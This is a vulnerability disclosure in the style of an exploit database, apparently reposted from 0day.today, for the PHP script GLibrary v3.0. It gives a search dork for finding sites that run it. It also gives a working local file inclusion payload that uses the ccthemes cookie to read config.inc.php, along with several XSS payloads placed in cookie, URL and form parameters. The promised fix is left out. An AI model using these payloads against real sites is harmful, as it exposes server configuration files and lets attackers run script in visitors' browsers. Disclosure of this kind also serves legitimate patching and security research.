GLibrary v3.0 Multiple Remote vulnerabilities

=============================================	
GLibrary v3.0 Multiple Remote vulnerabilities
=============================================

[+]-------------------------------------[+]
[+] Title : GLibrary v3.0 Multiple Remote vulnerabilities
[+] Homepage: http://www.ac4p.com/
[+] Download:
http://www.mnzo3.com/vb/attachment.php?attachmentid=548&d=1235909502
[+] Dork : "Powered by GLibrary v3.0"
[+] Parameter: Cookie , GET , POST
[+]-------------------------------------[+]
[+] Discovered by Br0k3n-H34rT
[+] My Homepage : WwW.W-Dev.CoM
[+] Original Link : http://www.w-dev.com/My_Lap/GLibraryv3.0.txt
[+] My Note : Every Thingz Can Develop It,z , When We Think About It,z
[+]-------------------------------------[+]
[+] [1]: Local File Include :
[+] LFI is a vulnerability which allows attackers to access restricted
directories.

[+] # Note :
[+] This Is Work If magic_quotes_gpc Be Off In PHP Setting
(Regardless php.ini).

[+] # Affected Files :
[+] /games/
[+] /games/index.php
[+] /games/play.php
[+] /games/register.php

[+] # Affected Variable :
[+] ccthemes <<< That,s Responsiple To Change Theme In Script .

[+] # Parameter :
[+] Cookie .

[+] # e.g. :
[+] ccthemes=../config.inc.php%00;PHPSESSID=85e84cb4eb390dd364301e3eb86c44f
0;ac4pgame=1

[+] # How to fix this vulnerability :
[+] See Below ....

[+]-------------------------------------[+]]
[+] [2]: Cross Site Scripting :
[+] Cross site scripting (also referred to as XSS) is a vulnerability that
allows an attacker to send malicious code (usually in the form of
Javascript) to another user. Because a browser cannot know if the script
should be trusted or not, it will execute the script in the user context
allowing the attacker to access any cookies or session tokens retained by
the browser.

[+] # Affected Files :
[+] /games/
[+] /games/comment.php
[+] /games/index.php
[+] /games/play.php
[+] /games/register.php
[+] /games/tags.php

[+] # Affected Variable :
[+] ccthemes <<< That,s Responsiple To Change Theme In Script
[+] cat <<< To Catgories
[+] email <<< to send email in registeration
[+] a <<< in tags file
[+] PHP_SELF <<< /index.php/

[+] # Parameter :
[+] Cookie , GET , POST .

[+] # e.g. :
[+] In Cookies : ccthemes=1>'><script%20%0d%0a>alert('Br0k3n-H34rT Was
Here')%3B</script>;PHPSESSID=85e84cb4eb390dd364301e3eb86c44f0;ac4pgame=1
[+]
http://localhost/games/comment.php?id=1&cat=1"+onmouseover=alert('Br0k3n-H3
4rT Was Here')+
[+]
http://localhost/games/tags.php?a=1"+onmouseover=alert('Br0k3n-H34rT Was
Here')+&page=0
[+] http://localhost/games/register.php In Email Box Set :
1>'><script%20%0d%0a>alert('Br0k3n-H34rT Was Here')%3B</script>
[+] http://localhost/games/index.php/>"><script>alert('Br0k3n Was
Here')</script>

[+] # How to fix this vulnerabilities :
[+] Just I Fixed LFI ... You Can Fixed The XSS ... Just Replace File



#  0day.today [2018-04-14]  #